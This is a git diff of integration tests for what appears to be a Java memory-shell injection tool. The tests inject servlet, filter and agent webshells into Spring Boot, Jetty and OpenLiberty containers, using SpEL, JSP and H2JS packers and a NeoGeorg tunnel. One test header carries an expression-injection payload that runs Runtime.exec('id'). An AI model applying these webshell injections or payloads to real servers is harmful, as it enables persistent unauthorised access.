.header("Content-Type", "application/x-www-form-urlencoded")
|
||||||
|
.header("Referer", url)
|
||||||
.header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()")
|
.header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()")
|
||||||
.url(url + "/biginteger").post(requestBody)
|
.url(url + "/biginteger").post(requestBody)
|
||||||
.build();
|
.build();
|
||||||
@@ -141,4 +148,41 @@ public class ProbeAssertion {
|
|||||||
));
|
));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static List<String> getFiltersForContext(String probeData, String contextPath) {
|
||||||
|
List<String> filters = new ArrayList<>();
|
||||||
|
String[] lines = probeData.split("\n");
|
||||||
|
boolean inTargetContext = false;
|
||||||
|
|
||||||
|
for (String line : lines) {
|
||||||
|
line = line.trim();
|
||||||
|
|
||||||
|
if (line.startsWith("Context:")) {
|
||||||
|
inTargetContext = line.contains("(" + contextPath + ")");
|
||||||
|
} else if (inTargetContext) {
|
||||||
|
if (line.isEmpty() || line.startsWith("Context:")) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (line.equals("No filters found")) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (line.contains(" -> ")) {
|
||||||
|
filters.add(line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return filters;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String extractFilterName(String filterLine) {
|
||||||
|
if (filterLine == null || filterLine.isEmpty()) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
int arrowIndex = filterLine.indexOf(" ->");
|
||||||
|
if (arrowIndex > 0) {
|
||||||
|
return filterLine.substring(0, arrowIndex).trim();
|
||||||
|
}
|
||||||
|
return filterLine.trim();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+17
-9
@@ -40,8 +40,7 @@ import java.util.Random;
|
|||||||
import static com.reajason.javaweb.memshell.ShellTool.*;
|
import static com.reajason.javaweb.memshell.ShellTool.*;
|
||||||
import static com.reajason.javaweb.utils.CommonUtil.INJECTOR_CLASS_NAMES;
|
import static com.reajason.javaweb.utils.CommonUtil.INJECTOR_CLASS_NAMES;
|
||||||
import static com.reajason.javaweb.utils.CommonUtil.getRandomString;
|
import static com.reajason.javaweb.utils.CommonUtil.getRandomString;
|
||||||
import static org.hamcrest.CoreMatchers.anyOf;
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
import static org.hamcrest.CoreMatchers.containsString;
|
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
|
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
@@ -53,13 +52,13 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class ShellAssertion {
|
public class ShellAssertion {
|
||||||
|
|
||||||
public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer) {
|
public static MemShellResult shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer) {
|
||||||
shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, null);
|
return shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
|
public static MemShellResult shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
|
||||||
shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null);
|
return shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
@@ -85,12 +84,12 @@ public class ShellAssertion {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
public static MemShellResult shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||||
shellInjectIsOk(url, server, null, shellType, shellTool, targetJdkVersion, packer, appContainer, pythonContainer);
|
return shellInjectIsOk(url, server, null, shellType, shellTool, targetJdkVersion, packer, appContainer, pythonContainer);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void shellInjectIsOk(String url, String server, String serverVersion, String shellType, String shellTool,
|
public static MemShellResult shellInjectIsOk(String url, String server, String serverVersion, String shellType, String shellTool,
|
||||||
int targetJdkVersion, Packers packer,
|
int targetJdkVersion, Packers packer,
|
||||||
GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||||
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
|
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
|
||||||
@@ -104,6 +103,8 @@ public class ShellAssertion {
|
|||||||
packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer);
|
packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer);
|
||||||
|
|
||||||
assertShellIsOk(generateResult, shellUrl, shellTool, shellType, appContainer, pythonContainer);
|
assertShellIsOk(generateResult, shellUrl, shellTool, shellType, appContainer, pythonContainer);
|
||||||
|
|
||||||
|
return generateResult;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
@@ -492,4 +493,11 @@ public class ShellAssertion {
|
|||||||
public static void testProbeInject(String url, String server, String shellType, int targetJdkVersion) {
|
public static void testProbeInject(String url, String server, String shellType, int targetJdkVersion) {
|
||||||
testProbeInject(url, server, null, shellType, targetJdkVersion);
|
testProbeInject(url, server, null, shellType, targetJdkVersion);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static void assertFilterProbeIsRight(String filterInfos) {
|
||||||
|
assertThat(filterInfos, allOf(
|
||||||
|
containsString("urlMappingTestFilter -> UrlMappingTestFilter -> URL:[/b64, /test]"),
|
||||||
|
containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]")
|
||||||
|
));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -57,7 +57,7 @@ public class SpringBoot1ContainerTest {
|
|||||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.SpEL);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -94,7 +94,7 @@ public class SpringBoot2ContainerTest {
|
|||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64, Packers.H2JS);
|
List<Packers> testPackers = List.of(Packers.H2JS);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+4
-2
@@ -87,16 +87,18 @@ public class SpringBoot2JettyContainerTest {
|
|||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
|
ShellType.HANDLER,
|
||||||
|
ShellType.CUSTOMIZER,
|
||||||
// ShellType.LISTENER,
|
// ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.SpEL);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|
||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("jettyCasesProvider")
|
@MethodSource("jettyCasesProvider")
|
||||||
void testJetty(String imageName, String shellType, String shellTool, Packers packer) {
|
void testJetty(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -90,7 +90,7 @@ public class SpringBoot2UndertowContainerTest {
|
|||||||
// ShellType.LISTENER,
|
// ShellType.LISTENER,
|
||||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL);
|
List<Packers> testPackers = List.of(Packers.SpEL);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -81,7 +81,7 @@ public class SpringBoot2WarContainerTest {
|
|||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.SpEL);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -58,7 +58,7 @@ public class SpringBoot3ContainerTest {
|
|||||||
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
|
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
|
||||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64, Packers.H2);
|
List<Packers> testPackers = List.of(Packers.H2);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+97
@@ -0,0 +1,97 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.websphere;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.junit.jupiter.params.provider.ValueSource;
|
||||||
|
import org.testcontainers.containers.BindMode;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.time.Duration;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/21
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class OpenLiberty18ContainerTest {
|
||||||
|
public static final String imageName = "open-liberty:18.0.0.4-webProfile8";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warFile, "/config/dropins/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
|
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||||
|
.withExposedPorts(9080)
|
||||||
|
.withPrivilegedMode(true);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
String server = Server.WebSphere;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.WAS_AGENT_FILTER_MANAGER
|
||||||
|
);
|
||||||
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(9080);
|
||||||
|
String url = "http://" + host + ":" + port + "/app";
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest
|
||||||
|
@ValueSource(strings = {ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,})
|
||||||
|
void testProbeInject(String shellType) {
|
||||||
|
String url = getUrl(container);
|
||||||
|
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6);
|
||||||
|
}
|
||||||
|
}
|
||||||
+97
@@ -0,0 +1,97 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.websphere;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.junit.jupiter.params.provider.ValueSource;
|
||||||
|
import org.testcontainers.containers.BindMode;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.time.Duration;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/21
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class OpenLiberty20ContainerTest {
|
||||||
|
public static final String imageName = "open-liberty:20.0.0.12-full-java8-openj9";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warFile, "/config/dropins/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
|
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||||
|
.withExposedPorts(9080)
|
||||||
|
.withPrivilegedMode(true);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
String server = Server.WebSphere;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.WAS_AGENT_FILTER_MANAGER
|
||||||
|
);
|
||||||
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(9080);
|
||||||
|
String url = "http://" + host + ":" + port + "/app";
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest
|
||||||
|
@ValueSource(strings = {ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,})
|
||||||
|
void testProbeInject(String shellType) {
|
||||||
|
String url = getUrl(container);
|
||||||
|
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6);
|
||||||
|
}
|
||||||
|
}
|
||||||
+97
@@ -0,0 +1,97 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.websphere;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.junit.jupiter.params.provider.ValueSource;
|
||||||
|
import org.testcontainers.containers.BindMode;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.time.Duration;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/21
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class OpenLiberty22ContainerTest {
|
||||||
|
public static final String imageName = "open-liberty:22.0.0.12-full-java11-openj9";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warFile, "/config/dropins/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
|
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||||
|
.withExposedPorts(9080)
|
||||||
|
.withPrivilegedMode(true);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
String server = Server.WebSphere;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.WAS_AGENT_FILTER_MANAGER
|
||||||
|
);
|
||||||
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(9080);
|
||||||
|
String url = "http://" + host + ":" + port + "/app";
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest
|
||||||
|
@ValueSource(strings = {ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,})
|
||||||
|
void testProbeInject(String shellType) {
|
||||||
|
String url = getUrl(container);
|
||||||
|
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V11);
|
||||||
|
}
|
||||||
|
}
|
||||||
+97
@@ -0,0 +1,97 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.websphere;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.junit.jupiter.params.provider.ValueSource;
|
||||||
|
import org.testcontainers.containers.BindMode;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.time.Duration;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/21
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class OpenLiberty25ContainerTest {
|
||||||
|
public static final String imageName = "open-liberty:25.0.0.12-full-java17-openj9";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warFile, "/config/dropins/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
|
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||||
|
.withExposedPorts(9080)
|
||||||
|
.withPrivilegedMode(true);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
String server = Server.WebSphere;
|
||||||
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.WAS_AGENT_FILTER_MANAGER
|
||||||
|
);
|
||||||
|
List<Packers> testPackers = List.of(Packers.JSP);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
